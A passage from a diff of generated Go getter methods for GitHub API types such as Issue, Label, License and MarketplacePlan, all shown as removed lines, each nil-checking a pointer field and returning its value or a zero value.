OrganizationPreReceiveHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationPreReceiveHooks() string { - if i == nil || i.OrganizationPreReceiveHooks == nil { - return "" - } - return *i.OrganizationPreReceiveHooks -} - -// GetOrganizationProjects returns the OrganizationProjects field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationProjects() string { - if i == nil || i.OrganizationProjects == nil { - return "" - } - return *i.OrganizationProjects -} - -// GetOrganizationUserBlocking returns the OrganizationUserBlocking field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationUserBlocking() string { - if i == nil || i.OrganizationUserBlocking == nil { - return "" - } - return *i.OrganizationUserBlocking -} - -// GetPackages returns the Packages field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetPackages() string { - if i == nil || i.Packages == nil { - return "" - } - return *i.Packages -} - -// GetPages returns the Pages field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetPages() string { - if i == nil || i.Pages == nil { - return "" - } - return *i.Pages -} - -// GetPullRequests returns the PullRequests field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetPullRequests() string { - if i == nil || i.PullRequests == nil { - return "" - } - return *i.PullRequests -} - -// GetRepositoryHooks returns the RepositoryHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetRepositoryHooks() string { - if i == nil || i.RepositoryHooks == nil { - return "" - } - return *i.RepositoryHooks -} - -// GetRepositoryPreReceiveHooks returns the RepositoryPreReceiveHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetRepositoryPreReceiveHooks() string { - if i == nil || i.RepositoryPreReceiveHooks == nil { - return "" - } - return *i.RepositoryPreReceiveHooks -} - -// GetRepositoryProjects returns the RepositoryProjects field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetRepositoryProjects() string { - if i == nil || i.RepositoryProjects == nil { - return "" - } - return *i.RepositoryProjects -} - -// GetSingleFile returns the SingleFile field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetSingleFile() string { - if i == nil || i.SingleFile == nil { - return "" - } - return *i.SingleFile -} - -// GetStatuses returns the Statuses field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetStatuses() string { - if i == nil || i.Statuses == nil { - return "" - } - return *i.Statuses -} - -// GetTeamDiscussions returns the TeamDiscussions field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetTeamDiscussions() string { - if i == nil || i.TeamDiscussions == nil { - return "" - } - return *i.TeamDiscussions -} - -// GetVulnerabilityAlerts returns the VulnerabilityAlerts field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetVulnerabilityAlerts() string { - if i == nil || i.VulnerabilityAlerts == nil { - return "" - } - return *i.VulnerabilityAlerts -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *InstallationRepositoriesEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetInstallation returns the Installation field. -func (i *InstallationRepositoriesEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetRepositorySelection returns the RepositorySelection field if it's non-nil, zero value otherwise. -func (i *InstallationRepositoriesEvent) GetRepositorySelection() string { - if i == nil || i.RepositorySelection == nil { - return "" - } - return *i.RepositorySelection -} - -// GetSender returns the Sender field. -func (i *InstallationRepositoriesEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (i *InstallationToken) GetExpiresAt() time.Time { - if i == nil || i.ExpiresAt == nil { - return time.Time{} - } - return *i.ExpiresAt -} - -// GetPermissions returns the Permissions field. -func (i *InstallationToken) GetPermissions() *InstallationPermissions { - if i == nil { - return nil - } - return i.Permissions -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (i *InstallationToken) GetToken() string { - if i == nil || i.Token == nil { - return "" - } - return *i.Token -} - -// GetPermissions returns the Permissions field. -func (i *InstallationTokenOptions) GetPermissions() *InstallationPermissions { - if i == nil { - return nil - } - return i.Permissions -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (i *InteractionRestriction) GetExpiresAt() Timestamp { - if i == nil || i.ExpiresAt == nil { - return Timestamp{} - } - return *i.ExpiresAt -} - -// GetLimit returns the Limit field if it's non-nil, zero value otherwise. -func (i *InteractionRestriction) GetLimit() string { - if i == nil || i.Limit == nil { - return "" - } - return *i.Limit -} - -// GetOrigin returns the Origin field if it's non-nil, zero value otherwise. -func (i *InteractionRestriction) GetOrigin() string { - if i == nil || i.Origin == nil { - return "" - } - return *i.Origin -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *Invitation) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (i *Invitation) GetEmail() string { - if i == nil || i.Email == nil { - return "" - } - return *i.Email -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *Invitation) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetInvitationTeamURL returns the InvitationTeamURL field if it's non-nil, zero value otherwise. -func (i *Invitation) GetInvitationTeamURL() string { - if i == nil || i.InvitationTeamURL == nil { - return "" - } - return *i.InvitationTeamURL -} - -// GetInviter returns the Inviter field. -func (i *Invitation) GetInviter() *User { - if i == nil { - return nil - } - return i.Inviter -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (i *Invitation) GetLogin() string { - if i == nil || i.Login == nil { - return "" - } - return *i.Login -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (i *Invitation) GetNodeID() string { - if i == nil || i.NodeID == nil { - return "" - } - return *i.NodeID -} - -// GetRole returns the Role field if it's non-nil, zero value otherwise. -func (i *Invitation) GetRole() string { - if i == nil || i.Role == nil { - return "" - } - return *i.Role -} - -// GetTeamCount returns the TeamCount field if it's non-nil, zero value otherwise. -func (i *Invitation) GetTeamCount() int { - if i == nil || i.TeamCount == nil { - return 0 - } - return *i.TeamCount -} - -// GetActiveLockReason returns the ActiveLockReason field if it's non-nil, zero value otherwise. -func (i *Issue) GetActiveLockReason() string { - if i == nil || i.ActiveLockReason == nil { - return "" - } - return *i.ActiveLockReason -} - -// GetAssignee returns the Assignee field. -func (i *Issue) GetAssignee() *User { - if i == nil { - return nil - } - return i.Assignee -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (i *Issue) GetAuthorAssociation() string { - if i == nil || i.AuthorAssociation == nil { - return "" - } - return *i.AuthorAssociation -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (i *Issue) GetBody() string { - if i == nil || i.Body == nil { - return "" - } - return *i.Body -} - -// GetClosedAt returns the ClosedAt field if it's non-nil, zero value otherwise. -func (i *Issue) GetClosedAt() time.Time { - if i == nil || i.ClosedAt == nil { - return time.Time{} - } - return *i.ClosedAt -} - -// GetClosedBy returns the ClosedBy field. -func (i *Issue) GetClosedBy() *User { - if i == nil { - return nil - } - return i.ClosedBy -} - -// GetComments returns the Comments field if it's non-nil, zero value otherwise. -func (i *Issue) GetComments() int { - if i == nil || i.Comments == nil { - return 0 - } - return *i.Comments -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetCommentsURL() string { - if i == nil || i.CommentsURL == nil { - return "" - } - return *i.CommentsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *Issue) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetEventsURL() string { - if i == nil || i.EventsURL == nil { - return "" - } - return *i.EventsURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *Issue) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetLabelsURL returns the LabelsURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetLabelsURL() string { - if i == nil || i.LabelsURL == nil { - return "" - } - return *i.LabelsURL -} - -// GetLocked returns the Locked field if it's non-nil, zero value otherwise. -func (i *Issue) GetLocked() bool { - if i == nil || i.Locked == nil { - return false - } - return *i.Locked -} - -// GetMilestone returns the Milestone field. -func (i *Issue) GetMilestone() *Milestone { - if i == nil { - return nil - } - return i.Milestone -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (i *Issue) GetNodeID() string { - if i == nil || i.NodeID == nil { - return "" - } - return *i.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (i *Issue) GetNumber() int { - if i == nil || i.Number == nil { - return 0 - } - return *i.Number -} - -// GetPullRequestLinks returns the PullRequestLinks field. -func (i *Issue) GetPullRequestLinks() *PullRequestLinks { - if i == nil { - return nil - } - return i.PullRequestLinks -} - -// GetReactions returns the Reactions field. -func (i *Issue) GetReactions() *Reactions { - if i == nil { - return nil - } - return i.Reactions -} - -// GetRepository returns the Repository field. -func (i *Issue) GetRepository() *Repository { - if i == nil { - return nil - } - return i.Repository -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetRepositoryURL() string { - if i == nil || i.RepositoryURL == nil { - return "" - } - return *i.RepositoryURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (i *Issue) GetState() string { - if i == nil || i.State == nil { - return "" - } - return *i.State -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (i *Issue) GetTitle() string { - if i == nil || i.Title == nil { - return "" - } - return *i.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (i *Issue) GetUpdatedAt() time.Time { - if i == nil || i.UpdatedAt == nil { - return time.Time{} - } - return *i.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *Issue) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetUser returns the User field. -func (i *Issue) GetUser() *User { - if i == nil { - return nil - } - return i.User -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetAuthorAssociation() string { - if i == nil || i.AuthorAssociation == nil { - return "" - } - return *i.AuthorAssociation -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetBody() string { - if i == nil || i.Body == nil { - return "" - } - return *i.Body -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetIssueURL returns the IssueURL field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetIssueURL() string { - if i == nil || i.IssueURL == nil { - return "" - } - return *i.IssueURL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetNodeID() string { - if i == nil || i.NodeID == nil { - return "" - } - return *i.NodeID -} - -// GetReactions returns the Reactions field. -func (i *IssueComment) GetReactions() *Reactions { - if i == nil { - return nil - } - return i.Reactions -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetUpdatedAt() time.Time { - if i == nil || i.UpdatedAt == nil { - return time.Time{} - } - return *i.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetUser returns the User field. -func (i *IssueComment) GetUser() *User { - if i == nil { - return nil - } - return i.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *IssueCommentEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetChanges returns the Changes field. -func (i *IssueCommentEvent) GetChanges() *EditChange { - if i == nil { - return nil - } - return i.Changes -} - -// GetComment returns the Comment field. -func (i *IssueCommentEvent) GetComment() *IssueComment { - if i == nil { - return nil - } - return i.Comment -} - -// GetInstallation returns the Installation field. -func (i *IssueCommentEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetIssue returns the Issue field. -func (i *IssueCommentEvent) GetIssue() *Issue { - if i == nil { - return nil - } - return i.Issue -} - -// GetRepo returns the Repo field. -func (i *IssueCommentEvent) GetRepo() *Repository { - if i == nil { - return nil - } - return i.Repo -} - -// GetSender returns the Sender field. -func (i *IssueCommentEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetActor returns the Actor field. -func (i *IssueEvent) GetActor() *User { - if i == nil { - return nil - } - return i.Actor -} - -// GetAssignee returns the Assignee field. -func (i *IssueEvent) GetAssignee() *User { - if i == nil { - return nil - } - return i.Assignee -} - -// GetAssigner returns the Assigner field. -func (i *IssueEvent) GetAssigner() *User { - if i == nil { - return nil - } - return i.Assigner -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetCommitID() string { - if i == nil || i.CommitID == nil { - return "" - } - return *i.CommitID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetDismissedReview returns the DismissedReview field. -func (i *IssueEvent) GetDismissedReview() *DismissedReview { - if i == nil { - return nil - } - return i.DismissedReview -} - -// GetEvent returns the Event field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetEvent() string { - if i == nil || i.Event == nil { - return "" - } - return *i.Event -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetIssue returns the Issue field. -func (i *IssueEvent) GetIssue() *Issue { - if i == nil { - return nil - } - return i.Issue -} - -// GetLabel returns the Label field. -func (i *IssueEvent) GetLabel() *Label { - if i == nil { - return nil - } - return i.Label -} - -// GetLockReason returns the LockReason field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetLockReason() string { - if i == nil || i.LockReason == nil { - return "" - } - return *i.LockReason -} - -// GetMilestone returns the Milestone field. -func (i *IssueEvent) GetMilestone() *Milestone { - if i == nil { - return nil - } - return i.Milestone -} - -// GetProjectCard returns the ProjectCard field. -func (i *IssueEvent) GetProjectCard() *ProjectCard { - if i == nil { - return nil - } - return i.ProjectCard -} - -// GetRename returns the Rename field. -func (i *IssueEvent) GetRename() *Rename { - if i == nil { - return nil - } - return i.Rename -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetDirection returns the Direction field if it's non-nil, zero value otherwise. -func (i *IssueListCommentsOptions) GetDirection() string { - if i == nil || i.Direction == nil { - return "" - } - return *i.Direction -} - -// GetSince returns the Since field if it's non-nil, zero value otherwise. -func (i *IssueListCommentsOptions) GetSince() time.Time { - if i == nil || i.Since == nil { - return time.Time{} - } - return *i.Since -} - -// GetSort returns the Sort field if it's non-nil, zero value otherwise. -func (i *IssueListCommentsOptions) GetSort() string { - if i == nil || i.Sort == nil { - return "" - } - return *i.Sort -} - -// GetAssignee returns the Assignee field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetAssignee() string { - if i == nil || i.Assignee == nil { - return "" - } - return *i.Assignee -} - -// GetAssignees returns the Assignees field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetAssignees() []string { - if i == nil || i.Assignees == nil { - return nil - } - return *i.Assignees -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetBody() string { - if i == nil || i.Body == nil { - return "" - } - return *i.Body -} - -// GetLabels returns the Labels field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetLabels() []string { - if i == nil || i.Labels == nil { - return nil - } - return *i.Labels -} - -// GetMilestone returns the Milestone field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetMilestone() int { - if i == nil || i.Milestone == nil { - return 0 - } - return *i.Milestone -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetState() string { - if i == nil || i.State == nil { - return "" - } - return *i.State -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetTitle() string { - if i == nil || i.Title == nil { - return "" - } - return *i.Title -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *IssuesEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetAssignee returns the Assignee field. -func (i *IssuesEvent) GetAssignee() *User { - if i == nil { - return nil - } - return i.Assignee -} - -// GetChanges returns the Changes field. -func (i *IssuesEvent) GetChanges() *EditChange { - if i == nil { - return nil - } - return i.Changes -} - -// GetInstallation returns the Installation field. -func (i *IssuesEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetIssue returns the Issue field. -func (i *IssuesEvent) GetIssue() *Issue { - if i == nil { - return nil - } - return i.Issue -} - -// GetLabel returns the Label field. -func (i *IssuesEvent) GetLabel() *Label { - if i == nil { - return nil - } - return i.Label -} - -// GetRepo returns the Repo field. -func (i *IssuesEvent) GetRepo() *Repository { - if i == nil { - return nil - } - return i.Repo -} - -// GetSender returns the Sender field. -func (i *IssuesEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (i *IssuesSearchResult) GetIncompleteResults() bool { - if i == nil || i.IncompleteResults == nil { - return false - } - return *i.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (i *IssuesSearchResult) GetTotal() int { - if i == nil || i.Total == nil { - return 0 - } - return *i.Total -} - -// GetClosedIssues returns the ClosedIssues field if it's non-nil, zero value otherwise. -func (i *IssueStats) GetClosedIssues() int { - if i == nil || i.ClosedIssues == nil { - return 0 - } - return *i.ClosedIssues -} - -// GetOpenIssues returns the OpenIssues field if it's non-nil, zero value otherwise. -func (i *IssueStats) GetOpenIssues() int { - if i == nil || i.OpenIssues == nil { - return 0 - } - return *i.OpenIssues -} - -// GetTotalIssues returns the TotalIssues field if it's non-nil, zero value otherwise. -func (i *IssueStats) GetTotalIssues() int { - if i == nil || i.TotalIssues == nil { - return 0 - } - return *i.TotalIssues -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (j *Jobs) GetTotalCount() int { - if j == nil || j.TotalCount == nil { - return 0 - } - return *j.TotalCount -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (k *Key) GetCreatedAt() Timestamp { - if k == nil || k.CreatedAt == nil { - return Timestamp{} - } - return *k.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (k *Key) GetID() int64 { - if k == nil || k.ID == nil { - return 0 - } - return *k.ID -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (k *Key) GetKey() string { - if k == nil || k.Key == nil { - return "" - } - return *k.Key -} - -// GetReadOnly returns the ReadOnly field if it's non-nil, zero value otherwise. -func (k *Key) GetReadOnly() bool { - if k == nil || k.ReadOnly == nil { - return false - } - return *k.ReadOnly -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (k *Key) GetTitle() string { - if k == nil || k.Title == nil { - return "" - } - return *k.Title -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (k *Key) GetURL() string { - if k == nil || k.URL == nil { - return "" - } - return *k.URL -} - -// GetColor returns the Color field if it's non-nil, zero value otherwise. -func (l *Label) GetColor() string { - if l == nil || l.Color == nil { - return "" - } - return *l.Color -} - -// GetDefault returns the Default field if it's non-nil, zero value otherwise. -func (l *Label) GetDefault() bool { - if l == nil || l.Default == nil { - return false - } - return *l.Default -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (l *Label) GetDescription() string { - if l == nil || l.Description == nil { - return "" - } - return *l.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (l *Label) GetID() int64 { - if l == nil || l.ID == nil { - return 0 - } - return *l.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (l *Label) GetName() string { - if l == nil || l.Name == nil { - return "" - } - return *l.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (l *Label) GetNodeID() string { - if l == nil || l.NodeID == nil { - return "" - } - return *l.NodeID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (l *Label) GetURL() string { - if l == nil || l.URL == nil { - return "" - } - return *l.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (l *LabelEvent) GetAction() string { - if l == nil || l.Action == nil { - return "" - } - return *l.Action -} - -// GetChanges returns the Changes field. -func (l *LabelEvent) GetChanges() *EditChange { - if l == nil { - return nil - } - return l.Changes -} - -// GetInstallation returns the Installation field. -func (l *LabelEvent) GetInstallation() *Installation { - if l == nil { - return nil - } - return l.Installation -} - -// GetLabel returns the Label field. -func (l *LabelEvent) GetLabel() *Label { - if l == nil { - return nil - } - return l.Label -} - -// GetOrg returns the Org field. -func (l *LabelEvent) GetOrg() *Organization { - if l == nil { - return nil - } - return l.Org -} - -// GetRepo returns the Repo field. -func (l *LabelEvent) GetRepo() *Repository { - if l == nil { - return nil - } - return l.Repo -} - -// GetColor returns the Color field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetColor() string { - if l == nil || l.Color == nil { - return "" - } - return *l.Color -} - -// GetDefault returns the Default field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetDefault() bool { - if l == nil || l.Default == nil { - return false - } - return *l.Default -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetDescription() string { - if l == nil || l.Description == nil { - return "" - } - return *l.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetID() int64 { - if l == nil || l.ID == nil { - return 0 - } - return *l.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetName() string { - if l == nil || l.Name == nil { - return "" - } - return *l.Name -} - -// GetScore returns the Score field. -func (l *LabelResult) GetScore() *float64 { - if l == nil { - return nil - } - return l.Score -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetURL() string { - if l == nil || l.URL == nil { - return "" - } - return *l.URL -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (l *LabelsSearchResult) GetIncompleteResults() bool { - if l == nil || l.IncompleteResults == nil { - return false - } - return *l.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (l *LabelsSearchResult) GetTotal() int { - if l == nil || l.Total == nil { - return 0 - } - return *l.Total -} - -// GetOID returns the OID field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetOID() string { - if l == nil || l.OID == nil { - return "" - } - return *l.OID -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetPath() string { - if l == nil || l.Path == nil { - return "" - } - return *l.Path -} - -// GetRefName returns the RefName field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetRefName() string { - if l == nil || l.RefName == nil { - return "" - } - return *l.RefName -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetSize() int { - if l == nil || l.Size == nil { - return 0 - } - return *l.Size -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (l *License) GetBody() string { - if l == nil || l.Body == nil { - return "" - } - return *l.Body -} - -// GetConditions returns the Conditions field if it's non-nil, zero value otherwise. -func (l *License) GetConditions() []string { - if l == nil || l.Conditions == nil { - return nil - } - return *l.Conditions -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (l *License) GetDescription() string { - if l == nil || l.Description == nil { - return "" - } - return *l.Description -} - -// GetFeatured returns the Featured field if it's non-nil, zero value otherwise. -func (l *License) GetFeatured() bool { - if l == nil || l.Featured == nil { - return false - } - return *l.Featured -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (l *License) GetHTMLURL() string { - if l == nil || l.HTMLURL == nil { - return "" - } - return *l.HTMLURL -} - -// GetImplementation returns the Implementation field if it's non-nil, zero value otherwise. -func (l *License) GetImplementation() string { - if l == nil || l.Implementation == nil { - return "" - } - return *l.Implementation -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (l *License) GetKey() string { - if l == nil || l.Key == nil { - return "" - } - return *l.Key -} - -// GetLimitations returns the Limitations field if it's non-nil, zero value otherwise. -func (l *License) GetLimitations() []string { - if l == nil || l.Limitations == nil { - return nil - } - return *l.Limitations -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (l *License) GetName() string { - if l == nil || l.Name == nil { - return "" - } - return *l.Name -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (l *License) GetPermissions() []string { - if l == nil || l.Permissions == nil { - return nil - } - return *l.Permissions -} - -// GetSPDXID returns the SPDXID field if it's non-nil, zero value otherwise. -func (l *License) GetSPDXID() string { - if l == nil || l.SPDXID == nil { - return "" - } - return *l.SPDXID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (l *License) GetURL() string { - if l == nil || l.URL == nil { - return "" - } - return *l.URL -} - -// GetCheckName returns the CheckName field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsOptions) GetCheckName() string { - if l == nil || l.CheckName == nil { - return "" - } - return *l.CheckName -} - -// GetFilter returns the Filter field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsOptions) GetFilter() string { - if l == nil || l.Filter == nil { - return "" - } - return *l.Filter -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsOptions) GetStatus() string { - if l == nil || l.Status == nil { - return "" - } - return *l.Status -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsResults) GetTotal() int { - if l == nil || l.Total == nil { - return 0 - } - return *l.Total -} - -// GetAppID returns the AppID field if it's non-nil, zero value otherwise. -func (l *ListCheckSuiteOptions) GetAppID() int { - if l == nil || l.AppID == nil { - return 0 - } - return *l.AppID -} - -// GetCheckName returns the CheckName field if it's non-nil, zero value otherwise. -func (l *ListCheckSuiteOptions) GetCheckName() string { - if l == nil || l.CheckName == nil { - return "" - } - return *l.CheckName -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (l *ListCheckSuiteResults) GetTotal() int { - if l == nil || l.Total == nil { - return 0 - } - return *l.Total -} - -// GetAffiliation returns the Affiliation field if it's non-nil, zero value otherwise. -func (l *ListCollaboratorOptions) GetAffiliation() string { - if l == nil || l.Affiliation == nil { - return "" - } - return *l.Affiliation -} - -// GetEffectiveDate returns the EffectiveDate field if it's non-nil, zero value otherwise. -func (m *MarketplacePendingChange) GetEffectiveDate() Timestamp { - if m == nil || m.EffectiveDate == nil { - return Timestamp{} - } - return *m.EffectiveDate -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *MarketplacePendingChange) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetPlan returns the Plan field. -func (m *MarketplacePendingChange) GetPlan() *MarketplacePlan { - if m == nil { - return nil - } - return m.Plan -} - -// GetUnitCount returns the UnitCount field if it's non-nil, zero value otherwise. -func (m *MarketplacePendingChange) GetUnitCount() int { - if m == nil || m.UnitCount == nil { - return 0 - } - return *m.UnitCount -} - -// GetAccountsURL returns the AccountsURL field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetAccountsURL() string { - if m == nil || m.AccountsURL == nil { - return "" - } - return *m.AccountsURL -} - -// GetBullets returns the Bullets field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetBullets() []string { - if m == nil || m.Bullets == nil { - return nil - } - return *m.Bullets -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetDescription() string { - if m == nil || m.Description == nil { - return "" - } - return *m.Description -} - -// GetHasFreeTrial returns the HasFreeTrial field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetHasFreeTrial() bool { - if m == nil || m.HasFreeTrial == nil { - return false - } - return *m.HasFreeTrial -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetMonthlyPriceInCents returns the MonthlyPriceInCents field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetMonthlyPriceInCents() int { - if m == nil || m.MonthlyPriceInCents == nil { - return 0 - } - return *m.MonthlyPriceInCents -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetName() string { - if m == nil || m.Name == nil { - return "" - } - return *m.Name -} - -// GetPriceModel returns the PriceModel field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetPriceModel() string { - if m == nil || m.PriceModel == nil { - return "" - } - return *m.PriceModel -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetUnitName returns the UnitName field if it's 